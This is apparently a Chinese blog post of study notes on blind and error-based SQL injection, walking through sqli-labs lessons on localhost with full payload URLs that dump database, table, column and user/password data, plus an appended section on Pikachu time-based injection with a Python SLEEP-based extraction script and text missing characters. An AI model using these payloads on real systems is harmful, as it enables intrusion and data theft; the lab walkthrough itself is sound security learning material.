盲注练习

1.什么时候使用盲注?

当没有任何报错信息,没有任何输出的时候,只能使用盲注

2.盲注有哪些类型?

布尔盲注
时间盲注

3.报错注入原理是什么?

在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。

4.报错注入制造函数有哪些?

updatexml(),extractvalue(),floor() ,exp()

5.盲注常用的函数有哪些?

通过长度判断 length():length(database())>=x
通过字符判断 substr():substr(database(),1,1) =‘s’
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x

6.报错注入常用的payload有哪些?

extractvalue(1 ,concat(0x7e,(select database())))
updatexml('test ',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)

实践:
1.sqli-labs LESS-8练习平台进行sql注入

1.判断注入点
判断出了为字符型注入漏洞:
判断出为布尔盲注
在这里插入图片描述

2.判断数据库名的长度

http://localhost/sqli/Less-8/?id=1’ and length(database())>=9–+
在这里插入图片描述

3.爆库名security

http://localhost/sqli/Less-8/?id=1’ and substr(database(),1,1 )=‘s’ --+
说明库名的第一个字符为s
在这里插入图片描述
http://localhost/sqli/Less-8/?id=1’ and substr(database(),2,1 )=‘e’ --+
在这里插入图片描述

以上的方式是手动进行枚举,不现实,需要用到burp suite工具进行枚举爆破。如下:
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

以上,就爆出了库名:security

4.爆表名:也是用上面的方法,使用burp suite进行拦截来爆破

一个一个表爆:
http://localhost/sqli/Less-8/?id=1’ and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’ --+

所有表一起爆:
http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,1)=‘e’ --+
在这里插入图片描述

5.爆字段名:也是用上面的方法,使用burp suite进行拦截来爆破

http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’),1,1)=‘i’ --+
在这里插入图片描述
在这里插入图片描述

6.爆数据:
一个一个字段的爆:http://localhost/sqli/Less-8/?id=1' and substr((select group_concat(id) from security.emails),1,1)=’1’ --+

在这里插入图片描述

所有字段的数据一起爆:但是在burp suite 里面选择有效载荷选项时,给的字典内容就很多,所以不现实。http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(id,0x3a,email_id) from security.emails),1,1)=’1’ --+
在这里插入图片描述

http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(email_id) from security.emails),1,1)=’D’ --+

2.sqli-labs Less-11

判断这是报错型注入
把构造语句填在文本框中:
在这里插入图片描述

爆库名:’ and extractvalue(1,concat(0x7e,(select database()))) #
爆表名:’ and updatexml(‘test’,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) #
爆字段名:’ and extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’))) #
爆数据:a’ and updatexml (1,concat(0x7e,(select concat_ws (’:’,username,password) from security.users limit 0,1 )),3) #
结果:
在这里插入图片描述

### 关于Pikachu时间SQL入实验室 Pikachu是一款用于Web安全学习的靶场工具,它提供了多种类型的漏洞实验环境供用户练习,其中包括SQL入中的时间类型。时间是一种通过延迟数据库响应来判断条件真假的方式[^2]。 #### 时间原理 时间的核心在于利用数据库函数(如`SLEEP()`或`WAITFOR DELAY`),使查询执行过程中产生人为可控的时间延迟。攻击者可以通过观察页面加载时间的不同,推断出后台数据库的状态并逐步获取敏感数据[^1]。 #### Pikachu时间实现方式 在Pikachu靶场中,时间通常涉及以下操作: 1. **构造payload**: 使用`IF`语句配合`SLEEP()`函数构建延时逻辑。例如: ```sql IF(ASCII(SUBSTRING((SELECT database()),1,1))=98,SLEEP(5),NULL) ``` 上述payload表示如果当前数据库名称的第一个字符等于ASCII值为98,则触发5秒延迟;否则无任何动作。 2. **检测延迟**: 当发送上述请求后,服务器端处理耗时明显增加时,说明猜测正确。反之则错误。根据返回结果调整下一次试探位置直至完成整个字符串还原过程为止。 3. **自动化脚本编写**: 手动逐位爆破效率低下,在实际渗透测试场景下往往借助Burp Suite Intruder模块或者自定义Python脚本来加速这一流程。下面给出一个简单的Python示例代片段展示如何自动提取目标表名首字母: ```python import requests url = 'http://localhost/pikachu/vul/time_sql.php' def check(payload): data = {'id': payload} start_time = time.time() response = requests.post(url, data=data) elapsed_time = time.time() - start_time return True if elapsed_time >= 5 else False ascii_min, ascii_max = 48, 122 while ascii_min <= ascii_max: mid = (ascii_min + ascii_max) // 2 test_payload = f"1' AND IF(ORD(MID((SELECT table_name FROM information_schema.tables WHERE table_schema='test'),1,1))>{mid}, SLEEP(5), NULL)-- " if check(test_payload): ascii_min = mid + 1 else: ascii_max = mid - 1 result_char = chr(mid) print(f"The first character of the target table name is {result_char}.") ``` #### 意事项 尽管此类练习有助于理解SQL入的工作机制及其危害程度,但在真实环境中实施类似行为可能违反法律,请务必仅限于授权范围内开展研究活动[^5]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值